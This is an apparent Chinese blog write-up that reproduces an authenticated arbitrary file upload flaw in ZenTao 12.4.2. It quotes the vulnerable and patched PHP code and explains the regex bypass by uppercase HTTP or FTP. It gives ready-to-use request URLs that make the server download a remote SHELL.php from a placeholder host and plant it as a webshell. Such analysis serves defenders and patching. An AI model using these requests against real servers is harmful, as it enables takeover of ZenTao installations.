禅道 12.4.2 后台任意文件上传漏洞 #CNVD-C-2020-121325

漏洞描述

禅道官方发布了文件上传漏洞的风险通告,该漏洞编号为CNVD-C-2020-121325,漏洞影响禅道<=12.4.2版本。登陆管理后台的恶意攻击者可以通过fopen/fread/fwrite方法读取或上传任意文件,成功利用此漏洞可以读取目标系统敏感文件或获得系统管理权限。我们对漏洞进行了复现和分析,由于需要登录后台才可以利用,实际风险相对较低,建议受影响的禅道用户尽快升级到最新版。

影响版本

禅道 <= 12.4.2版本

环境搭建

20231017144842724-de589ebc-46bc-4f2a-a4ae-db1d673456ac (1)

调用接口查询版本信息

http://xxx.xxx.xxx.xxx/www/index.php?mode=getconfig

20231017151550828-709b612a-e1de-44d3-bf6a-dda82c0f2d8c (1)

漏洞复现

漏洞触发需要后台权限

根据漏洞描述查看修改后的代码片段

20231017151701466-e6a7a56d-8754-4454-9c02-503bafdb63dc (1)

修改前

public function downloadZipPackage($version, $link)
{
    $decodeLink = helper::safe64Decode($link);
    if(preg_match('/^https?\:\/\//', $decodeLink)) return false;

    return parent::downloadZipPackage($version, $link);
}

修改后

public function downloadZipPackage($version, $link)
{
    $decodeLink = helper::safe64Decode($link);
    if(!preg_match('/^https?\:\/\//', $decodeLink)) return false;

    $file      = basename($link);
    $extension = substr($file, strrpos($file, '.') + 1);
    if(strpos(",{$this->config->file->allowed},", ",{$extension},") === false) return false;

    return parent::downloadZipPackage($version, $link);
}

这里传入的参数为版本和link地址,然后base64解码,正则判断是否为httphttps协议,这里的正则过滤并不完整,所以可以绕过用于下载恶意文件

20231017151816900-f8ff2789-1664-433c-9fd6-7534fa97db29 (1)

可以大写http或请求FTP来绕过正则

20231017151917761-4252a13f-ee9d-46e0-8a67-7b14eaa44a00 (1)

20231017152050717-32bf5dbe-55d3-492e-ae0d-65249eaf70e5 (1)

跟进一下parent::downloadZipPackage这个方法,跟着来到zentao\module\client\model.php文件中

20231017152148200-f4fc7af3-3c78-445d-9c46-00acfdcc9df1 (1)

public function downloadZipPackage($version, $link)
    {
        ignore_user_abort(true);
        set_time_limit(0);
        if(empty($version) || empty($link)) return false;
        $dir  = "data/client/" . $version . '/';
        $link = helper::safe64Decode($link);
        $file = basename($link);
        if(!is_dir($this->app->wwwRoot . $dir))
        {
            mkdir($this->app->wwwRoot . $dir, 0755, true);
        }
        if(!is_dir($this->app->wwwRoot . $dir)) return false;
        if(file_exists($this->app->wwwRoot . $dir . $file))
        {
            return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;
        }
        ob_clean();
        ob_end_flush();

        $local  = fopen($this->app->wwwRoot . $dir . $file, 'w');
        $remote = fopen($link, 'rb');
        if($remote === false) return false;
        while(!feof($remote))
        {
            $buffer = fread($remote, 4096);
            fwrite($local, $buffer);
        }
        fclose($local);
        fclose($remote);
        return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;
    }

可以简单看到这里获取link传入的文件名,通过fopen打开该文件,写入禅道目录www/data/client/version

查看一下有没有调用这个方法的地方

20231017152248764-7372f4fc-f001-4819-8397-3d2c2f4e1688 (1)

找到了download方法调用了这个漏洞点,所以我们有两种下载恶意文件的方法

http://xxx.xxx.xxx.xxx/www/client-download-[$version参数]-[base64加密后的恶意文件地址].html
http://xxx.xxx.xxx.xxx/www/index.php?m=client&f=download&version=[$version参数]&link=[base64加密后的恶意文件地址]

首先先上传一个恶意文件,可以是FTP也可以是HTTP

例如我上传的文件URL为http://xxxxx.com/SHELL.php

http://xxxxx.com/SHELL.php
|
base64加密  HTTP://xxxxx.com/SHELL.php
|
SFRUUDovL3h4eHh4LmNvbS9TSEVMTC5waHA=

请求地址则为

http://xxx.xxx.xxx.xxx/www/index.php?m=client&f=download&version=1&link=SFRUUDovL3h4eHh4LmNvbS9TSEVMTC5waHA=

20231017152748924-59f57d88-65fb-4fb7-97d6-189cea9d4ff0 (1)

下载的目录地址为zentaopms\www\data\client\1

目录为version名称

20231017152843114-e96129e9-e623-4b65-92d7-10a489697328 (1)

成功上传webshell

20231017152944795-0fdc4f76-6cb2-4d65-868d-4436d624b69a (1)

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容